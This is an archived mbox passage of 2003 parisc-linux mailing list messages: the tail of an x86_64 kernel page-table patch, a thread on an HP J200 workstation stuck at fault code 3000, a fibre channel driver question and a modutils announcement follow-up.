_PAGE_FILE is wrong, btw.  These are not swapcache pages)
The ia32 version of this code is right at the start of the the main patch, at

http://www.kernel.org/pub/linux/kernel/people/akpm/patches/2.5/2.5.65/2.5.65-mm3/broken-out/remap-file-pages-2.5.63-a1.patch


Thanks.


diff -puN include/asm-x86_64/pgtable.h~file-offset-in-pte-x86_64 include/asm-x86_64/pgtable.h
--- 25/include/asm-x86_64/pgtable.h~file-offset-in-pte-x86_64	2003-03-13 04:45:57.000000000 -0800
+++ 25-akpm/include/asm-x86_64/pgtable.h	2003-03-13 04:45:57.000000000 -0800
@@ -151,6 +151,7 @@ static inline void set_pml4(pml4_t *dst,
 #define _PAGE_ACCESSED	0x020
 #define _PAGE_DIRTY	0x040
 #define _PAGE_PSE	0x080	/* 2MB page */
+#define _PAGE_FILE	0x040	/* pagecache or swap */
 #define _PAGE_GLOBAL	0x100	/* Global TLB entry */
 
 #define _PAGE_PROTNONE	0x080	/* If not present */
@@ -245,6 +246,7 @@ extern inline int pte_exec(pte_t pte)		{
 extern inline int pte_dirty(pte_t pte)		{ return pte_val(pte) & _PAGE_DIRTY; }
 extern inline int pte_young(pte_t pte)		{ return pte_val(pte) & _PAGE_ACCESSED; }
 extern inline int pte_write(pte_t pte)		{ return pte_val(pte) & _PAGE_RW; }
+static inline int pte_file(pte_t pte)		{ return pte_val(pte) & _PAGE_FILE; }
 
 extern inline pte_t pte_rdprotect(pte_t pte)	{ set_pte(&pte, __pte(pte_val(pte) & ~_PAGE_USER)); return pte; }
 extern inline pte_t pte_exprotect(pte_t pte)	{ set_pte(&pte, __pte(pte_val(pte) & ~_PAGE_USER)); return pte; }
@@ -330,6 +332,11 @@ static inline pgd_t *current_pgd_offset_
 #define	pmd_bad(x)	((pmd_val(x) & (~PTE_MASK & ~_PAGE_USER)) != _KERNPG_TABLE )
 #define pfn_pmd(nr,prot) (__pmd(((nr) << PAGE_SHIFT) | pgprot_val(prot)))
 
+
+#define pte_to_pgoff(pte) ((pte_val(pte) & PHYSICAL_PAGE_MASK) >> PAGE_SHIFT)
+#define pgoff_to_pte(off) ((pte_t) { ((off) << PAGE_SHIFT) | _PAGE_FILE })
+#define PTE_FILE_MAX_BITS __PHYSICAL_MASK_SHIFT
+
 /* PTE - Level 1 access. */
 
 /* page, protection -> pte */
diff -puN include/asm-x86_64/page.h~file-offset-in-pte-x86_64 include/asm-x86_64/page.h
--- 25/include/asm-x86_64/page.h~file-offset-in-pte-x86_64	2003-03-13 04:45:57.000000000 -0800
+++ 25-akpm/include/asm-x86_64/page.h	2003-03-13 04:48:53.000000000 -0800
@@ -69,8 +69,9 @@ typedef struct { unsigned long pgprot; }
 /* See Documentation/x86_64/mm.txt for a description of the memory map. */
 #define __START_KERNEL		0xffffffff80100000
 #define __START_KERNEL_map	0xffffffff80000000
-#define __PAGE_OFFSET           0x0000010000000000
-#define __PHYSICAL_MASK		0x000000ffffffffff
+#define __PAGE_OFFSET           0x0000010000000000	/* 1 << 40 */
+#define __PHYSICAL_MASK_SHIFT	40
+#define __PHYSICAL_MASK		((1UL << __PHYSICAL_MASK_SHIFT) - 1)
 
 #define KERNEL_TEXT_SIZE  (40UL*1024*1024)
 #define KERNEL_TEXT_START 0xffffffff80000000UL 

_



----- End forwarded message -----

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:27:13 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christian Suder <csuder@cisco.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [Q] J200 recovery
Date: Fri, 21 Mar 2003 23:03:15 -0800
Lines: 40
Approved: news@gmane.org
Message-ID: <3E7C0AB3.9000202@cisco.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622317 23504 80.91.229.3 (22 Nov 2014 02:11:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:57 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Mar 22 00:03:19 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from sj-core-5.cisco.com (sj-core-5.cisco.com [171.71.177.238])
	by dsl2.external.hp.com (Postfix) with ESMTP id E0D7B4829
	for <parisc-linux@lists.parisc-linux.org>; Sat, 22 Mar 2003 00:03:18 -0700 (MST)
Original-Received: from mira-sjc5-e.cisco.com (IDENT:mirapoint@mira-sjc5-e.cisco.com [171.71.163.15])
	by sj-core-5.cisco.com (8.12.6/8.12.6) with ESMTP id h2M73GHp005306;
	Fri, 21 Mar 2003 23:03:16 -0800 (PST)
Original-Received: from cisco.com (ssh-sjc-1.cisco.com [171.68.225.134])
	by mira-sjc5-e.cisco.com (Mirapoint Messaging Server MOS 3.2.1-GA)
	with ESMTP id ACN56274;
	Fri, 21 Mar 2003 23:03:15 -0800 (PST)
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.0) Gecko/20020529
X-Accept-Language: en-us, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18037

Hello,

apologies upfront as this question is more about HW than parisc-linux, 
but as some pretty knowledgable folks hang out here I though I'll give 
it a shot.

History of the problem:

Got a J200, powered up fine but the firmware could not see the hard 
drive on the FW SCSI. It did find devices on the narrow SCSI. I also put 
in a known good drive on the FW, same thing. Both drives are HP supplied 
  Seagates (HP firmware).

Booted linux off CD and linux found the disk and could use it. 
Installation went with no problem, just could not boot off the HD. I 
could boot the system using the CD and changing root device and ramdisk 
in IPL.

While troubleshooting the boot problem I set the fastboot off - bad idea 
! Now the system stops with FLT 3000 early on.

Googling around I found that this may be a corrupted bootrom, which in 
turn may not be a true flash memory in this machine (can anybody confirm 
this ?). The battery on the mainboard is pretty much dead, but a fresh 
one didn't change anything.

Could it be the FLT 3000 is caused by the battery going dead and the 
system loosing some essential information ?

Any way to recover it ?

Thx,

	Christian







From - Thu Nov 08 21:27:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Derek Engelhaupt <derekengelhaupt@rocketmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [Q] J200 recovery
Date: Fri, 21 Mar 2003 23:52:14 -0800 (PST)
Lines: 72
Approved: news@gmane.org
Message-ID: <20030322075214.87940.qmail@web12502.mail.yahoo.com>
References: <3E7C0AB3.9000202@cisco.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative; boundary="0-927828266-1048319534=:87526"
X-Trace: ger.gmane.org 1416622318 23510 80.91.229.3 (22 Nov 2014 02:11:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:58 +0000 (UTC)
To: Christian Suder <csuder@cisco.com>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Mar 22 00:52:15 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from web12502.mail.yahoo.com (web12502.mail.yahoo.com [216.136.173.194])
	by dsl2.external.hp.com (Postfix) with SMTP id 1B73C4829
	for <parisc-linux@lists.parisc-linux.org>; Sat, 22 Mar 2003 00:52:15 -0700 (MST)
Original-Received: from [12.24.253.152] by web12502.mail.yahoo.com via HTTP; Fri, 21 Mar 2003 23:52:14 PST
In-Reply-To: <3E7C0AB3.9000202@cisco.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18038

--0-927828266-1048319534=:87526
Content-Type: text/plain; charset=us-ascii


Christian,
It doesn't sound good for you.  If the boot ROM battery went completely dead, things like the Software ID, system model number, and system serial number would be gone.  The only way to recover those things is through an HP tech like myself, but without a service contract the T&M charges are pretty high.  There is a program we run that allows us to reset that information.  The program is not licenced to anyone to run, not even resellers.  HP sued a bunch of companies about 5 years ago for using it to convert older HP UNIX hardware to MPE hardware.  The hardware checks to make sure it has a valid serial number and model number before booting, but from what I remember about cases like this it should still get to the boot handler and not fail so early in the self-test.  Init 3000 is one of the
  first stages of the self test where the machine starts applying power.  It almost sounds like you have either a system board failure or something wrong in the power sub-systems.  All the fastboot option does is turn the extensive memory tests on or off.  Setting it off would cause the machine to run all the extra memory tests instead of just initializing the memory as with fastboot on.  If you encountered a fault there the fault code would be in the 7xxx range.  A corrupted boot ROM could cause this to happen with the hang at init 3000 since the boot ROM tells the system how to run the self tests.  Unfortunately on HP 9000 systems, once the boot ROM is corrupted, only the factory can reload it which requires us to do a system card replacement.  Bottom line is, looks like the system card
  is dead and needs to be replaced.  This would require an HP tech to reset the info mentioned earlier on the new system card once installed.
derek
 Christian Suder <csuder@cisco.com> wrote:Hello,

apologies upfront as this question is more about HW than parisc-linux, 
but as some pretty knowledgable folks hang out here I though I'll give 
it a shot.

History of the problem:

Got a J200, powered up fine but the firmware could not see the hard 
drive on the FW SCSI. It did find devices on the narrow SCSI. I also put 
in a known good drive on the FW, same thing. Both drives are HP supplied 
Seagates (HP firmware).

Booted linux off CD and linux found the disk and could use it. 
Installation went with no problem, just could not boot off the HD. I 
could boot the system using the CD and changing root device and ramdisk 
in IPL.

While troubleshooting the boot problem I set the fastboot off - bad idea 
! Now the system stops with FLT 3000 early on.

Googling around I found that this may be a corrupted bootrom, which in 
turn may not be a true flash memory in this machine (can anybody confirm 
this ?). The battery on the mainboard is pretty much dead, but a fresh 
one didn't change anything.

Could it be the FLT 3000 is caused by the battery going dead and the 
system loosing some essential information ?

Any way to recover it ?

Thx,

Christian





_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux


---------------------------------
Do you Yahoo!?
Yahoo! Platinum - Watch CBS' NCAA March Madness, live on your desktop!
--0-927828266-1048319534=:87526
Content-Type: text/html; charset=us-ascii

<P>Christian,
<P>It doesn't sound good for you.&nbsp; If the boot ROM battery went completely dead, things like the Software ID, system model number, and system serial number would be gone.&nbsp; The only way to recover those things is through an HP tech like myself, but without a service contract the T&amp;M charges are pretty high.&nbsp; There is a program we run that allows us to reset that information.&nbsp; The program is not licenced to anyone to run, not even resellers.&nbsp; HP sued a bunch of companies about 5 years ago for using it to convert older HP UNIX hardware to MPE hardware.&nbsp; The hardware checks to make sure it has a valid serial number and model number before booting, but from what I remember about cases like this it should still get to the boot handler and not fail so early in th
 e self-test.&nbsp; Init 3000 is one of the first stages of the self test where the machine starts applying power.&nbsp; It almost sounds like you have either a system board failure or something wrong in the power sub-systems.&nbsp; All the fastboot option does is turn the extensive memory tests on or off.&nbsp; Setting it&nbsp;off would cause the machine to run all the extra memory tests instead of just initializing the memory as with fastboot on.&nbsp; If you encountered a fault there the fault code would be in the 7xxx range.&nbsp; A corrupted boot ROM could cause this to happen with the hang at init 3000 since the boot ROM tells the system how to run the self tests.&nbsp; Unfortunately on HP 9000 systems, once the boot ROM is corrupted, only the factory can reload it which requires us
  to do a system card replacement.&nbsp; Bottom line is, looks like the system card is dead and needs to be replaced.&nbsp; This would require an HP tech to reset the info&nbsp;mentioned earlier&nbsp;on&nbsp;the new system card&nbsp;once installed.
<P>derek
<P>&nbsp;<B><I>Christian Suder &lt;csuder@cisco.com&gt;</I></B> wrote:
<BLOCKQUOTE style="PADDING-LEFT: 5px; MARGIN-LEFT: 5px; BORDER-LEFT: #1010ff 2px solid">Hello,<BR><BR>apologies upfront as this question is more about HW than parisc-linux, <BR>but as some pretty knowledgable folks hang out here I though I'll give <BR>it a shot.<BR><BR>History of the problem:<BR><BR>Got a J200, powered up fine but the firmware could not see the hard <BR>drive on the FW SCSI. It did find devices on the narrow SCSI. I also put <BR>in a known good drive on the FW, same thing. Both drives are HP supplied <BR>Seagates (HP firmware).<BR><BR>Booted linux off CD and linux found the disk and could use it. <BR>Installation went with no problem, just could not boot off the HD. I <BR>could boot the system using the CD and changing root device and ramdisk <BR>in IPL.<BR><BR>While troub
 leshooting the boot problem I set the fastboot off - bad idea <BR>! Now the system stops with FLT 3000 early on.<BR><BR>Googling around I found that this may be a corrupted bootrom, which in <BR>turn may not be a true flash memory in this machine (can anybody confirm <BR>this ?). The battery on the mainboard is pretty much dead, but a fresh <BR>one didn't change anything.<BR><BR>Could it be the FLT 3000 is caused by the battery going dead and the <BR>system loosing some essential information ?<BR><BR>Any way to recover it ?<BR><BR>Thx,<BR><BR>Christian<BR><BR><BR><BR><BR><BR>_______________________________________________<BR>parisc-linux mailing list<BR>parisc-linux@lists.parisc-linux.org<BR>http://lists.parisc-linux.org/mailman/listinfo/parisc-linux</BLOCKQUOTE><p><br><hr size=1>Do you 
 Yahoo!?<br>
<a href="http://rd.yahoo.com/platinum/evt=8162/*http://platinum.yahoo.com/splash.html">Yahoo! Platinum</a> - Watch CBS' NCAA March Madness, <a href="http://rd.yahoo.com/platinum/evt=8162/*http://platinum.yahoo.com/splash.html">live on your desktop</a>!
--0-927828266-1048319534=:87526--


From - Thu Nov 08 21:27:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christian Suder <csuder@cisco.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [Q] J200 recovery
Date: Sat, 22 Mar 2003 10:46:20 -0800
Lines: 100
Approved: news@gmane.org
Message-ID: <3E7CAF7C.9070300@cisco.com>
References: <20030322075214.87940.qmail@web12502.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622318 23513 80.91.229.3 (22 Nov 2014 02:11:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:58 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Derek Engelhaupt <derekengelhaupt@rocketmail.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Mar 22 11:46:24 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from sj-core-5.cisco.com (sj-core-5.cisco.com [171.71.177.238])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6AE294830
	for <parisc-linux@lists.parisc-linux.org>; Sat, 22 Mar 2003 11:46:24 -0700 (MST)
Original-Received: from mira-sjc5-e.cisco.com (IDENT:mirapoint@mira-sjc5-e.cisco.com [171.71.163.15])
	by sj-core-5.cisco.com (8.12.6/8.12.6) with ESMTP id h2MIkMHp018183;
	Sat, 22 Mar 2003 10:46:22 -0800 (PST)
Original-Received: from cisco.com (ssh-sjc-1.cisco.com [171.68.225.134])
	by mira-sjc5-e.cisco.com (Mirapoint Messaging Server MOS 3.2.1-GA)
	with ESMTP id ACN69862;
	Sat, 22 Mar 2003 10:46:21 -0800 (PST)
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.0) Gecko/20020529
X-Accept-Language: en-us, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18039

Thanks Derek,

might have been just coincidence that the fault showed after I switched 
the fastboot. The machine was a freebie so no big deal.

	Christian


Derek Engelhaupt wrote:
> Christian,
> 
> It doesn't sound good for you.  If the boot ROM battery went completely 
> dead, things like the Software ID, system model number, and system 
> serial number would be gone.  The only way to recover those things is 
> through an HP tech like myself, but without a service contract the T&M 
> charges are pretty high.  There is a program we run that allows us to 
> reset that information.  The program is not licenced to anyone to run, 
> not even resellers.  HP sued a bunch of companies about 5 years ago for 
> using it to convert older HP UNIX hardware to MPE hardware.  The 
> hardware checks to make sure it has a valid serial number and model 
> number before booting, but from what I remember about cases like this it 
> should still get to the boot handler and not fail so early in the 
> self-test.  Init 3000 is one of the first stages of the self test where 
> the machine starts applying power.  It almost sounds like you have 
> either a system board failure or someth ing wrong in the power 
> sub-systems.  All the fastboot option does is turn the extensive memory 
> tests on or off.  Setting it off would cause the machine to run all the 
> extra memory tests instead of just initializing the memory as with 
> fastboot on.  If you encountered a fault there the fault code would be 
> in the 7xxx range.  A corrupted boot ROM could cause this to happen with 
> the hang at init 3000 since the boot ROM tells the system how to run the 
> self tests.  Unfortunately on HP 9000 systems, once the boot ROM is 
> corrupted, only the factory can reload it which requires us to do a 
> system card replacement.  Bottom line is, looks like the system card is 
> dead and needs to be replaced.  This would require an HP tech to reset 
> the info mentioned earlier on the new system card once installed.
> 
> derek
> 
>  */Christian Suder <csuder@cisco.com>/* wrote:
> 
>     Hello,
> 
>     apologies upfront as this question is more about HW than parisc-linux,
>     but as some pretty knowledgable folks hang out here I though I'll give
>     it a shot.
> 
>     History of the problem:
> 
>     Got a J200, powered up fine but the firmware could not see the hard
>     drive on the FW SCSI. It did find devices on the narrow SCSI. I also
>     put
>     in a known good drive on the FW, same thing. Both drives are HP
>     supplied
>     Seagates (HP firmware).
> 
>     Booted linux off CD and linux found the disk and could use it.
>     Installation went with no problem, just could not boot off the HD. I
>     could boot the system using the CD and changing root device and ramdisk
>     in IPL.
> 
>     While troubleshooting the boot problem I set the fastboot off - bad
>     idea
>     ! Now the system stops with FLT 3000 early on.
> 
>     Googling around I found that this may be a corrupted bootrom, which in
>     turn may not be a true flash memory in this machine (can anybody
>     confirm
>     this ?). The battery on the mainboard is pretty much dead, but a fresh
>     one didn't change anything.
> 
>     Could it be the FLT 3000 is caused by the battery going dead and the
>     system loosing some essential information ?
> 
>     Any way to recover it ?
> 
>     Thx,
> 
>     Christian
> 
> 
> 
> 
> 
>     _______________________________________________
>     parisc-linux mailing list
>     parisc-linux@lists.parisc-linux.org
>     http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 
> 
> ------------------------------------------------------------------------
> Do you Yahoo!?
> Yahoo! Platinum 
> <http://rd.yahoo.com/platinum/evt=8162/*http://platinum.yahoo.com/splash.html> 
> - Watch CBS' NCAA March Madness, live on your desktop 
> <http://rd.yahoo.com/platinum/evt=8162/*http://platinum.yahoo.com/splash.html>! 
> 




From - Thu Nov 08 21:27:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <joel.soete@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] FC driver?
Date: Sat, 22 Mar 2003 21:58:59 +0000
Lines: 18
Approved: news@gmane.org
Message-ID: <3E7CDCA3.2040700@tiscali.be>
References: <3E68A12A00002910@ocpmta3.freegates.net> <20030317111801.GF17073@lug-owl.de> <20030317161445.GA31378@dsl2.external.hp.com> <1047918143.14507.18.camel@beavis.ybsoft.com> <20030317163804.GC31378@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622318 23517 80.91.229.3 (22 Nov 2014 02:11:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:58 +0000 (UTC)
Cc: Ryan Bradetich <rbradetich@uswest.net>,
	parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Mar 22 14:47:49 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm2.tiscalinet.be [212.35.2.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id C3BCE482B
	for <parisc-linux@lists.parisc-linux.org>; Sat, 22 Mar 2003 14:47:48 -0700 (MST)
Original-Received: from [62.235.170.107] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18wqpx-0003ss-00; Sat, 22 Mar 2003 22:47:34 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.3) Gecko/20030319 Debian/1.3-3
X-Accept-Language: en
In-Reply-To: <20030317163804.GC31378@dsl2.external.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18040

Hi Grant,

Grant Grundler wrote:

>cpqfc driver loads but still finds no devices on the FC hub.
>
>  
>
Is a FC hub is required to expect to use this driver (under hpux we used 
this card directly connected to fc of a XP512 diskarray)?

Thanks,
    Joel






From - Thu Nov 08 21:27:14 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [Linux-ia64] Announce: modutils 2.4.24 is available
Date: Sun, 23 Mar 2003 03:23:18 +0000
Lines: 12
Approved: news@gmane.org
Message-ID: <20030323032318.GD31008__30497.2756574445$1416622319$gmane$org@parcelfarce.linux.theplanet.co.uk>
References: <8449.1048389361@ocs3.intra.ocs.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622319 23520 80.91.229.3 (22 Nov 2014 02:11:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:59 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, parisc-linux@parisc-linux.org
To: Keith Owens <kaos@ocs.com.au>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Mar 22 20:23:23 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id B67DF482B
	for <parisc-linux@parisc-linux.org>; Sat, 22 Mar 2003 20:23:22 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.14)
	id 18ww4s-0008AV-AY; Sun, 23 Mar 2003 03:23:18 +0000
Content-Disposition: inline
In-Reply-To: <8449.1048389361@ocs3.intra.ocs.com.au>
User-Agent: Mutt/1.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18041

On Sun, Mar 23, 2003 at 02:16:01PM +1100, Keith Owens wrote:
> This version of modutils is functionally identical to 2.4.23 except for
> those architectures that have function descriptors, i.e. ia64 and
> ppc64.

parisc also has function descriptors.  what needs to happen for us?

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:27:14 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Keith Owens <kaos@ocs.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [Linux-ia64] Announce: modutils 2.4.24 is available
Date: Sun, 23 Mar 2003 14:29:05 +1100
Lines: 23
Approved: news@gmane.org
Message-ID: <8755.1048390145__42730.7716258385$1416622319$gmane$org@ocs3.intra.ocs.com.au>
References: <20030323032318.GD31008@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622319 23524 80.91.229.3 (22 Nov 2014 02:11:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:59 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, parisc-linux@parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Mar 22 20:29:24 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.ocs.com.au (mail.ocs.com.au [203.34.97.2])
	by dsl2.external.hp.com (Postfix) with SMTP id 5436A482B
	for <parisc-linux@parisc-linux.org>; Sat, 22 Mar 2003 20:29:22 -0700 (MST)
Original-Received: (qmail 5724 invoked from network); 23 Mar 2003 03:29:13 -0000
Original-Received: from ocs3.intra.ocs.com.au (192.168.255.3)
  by mail.ocs.com.au with SMTP; 23 Mar 2003 03:29:13 -0000
Original-Received: by ocs3.intra.ocs.com.au (Postfix, from userid 16331)
	id 67B8E3000B8; Sun, 23 Mar 2003 14:29:11 +1100 (EST)
Original-Received: from ocs3.intra.ocs.com.au (localhost [127.0.0.1])
	by ocs3.intra.ocs.com.au (Postfix) with ESMTP
	id 0FF9A8F; Sun, 23 Mar 2003 14:29:10 +1100 (EST)
X-Mailer: exmh version 2.4 06/23/2000 with nmh-1.0.4
In-reply-to: Your message of "Sun, 23 Mar 2003 03:23:18 -0000."
             <20030323032318.GD31008@parcelfarce.linux.theplanet.co.uk> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
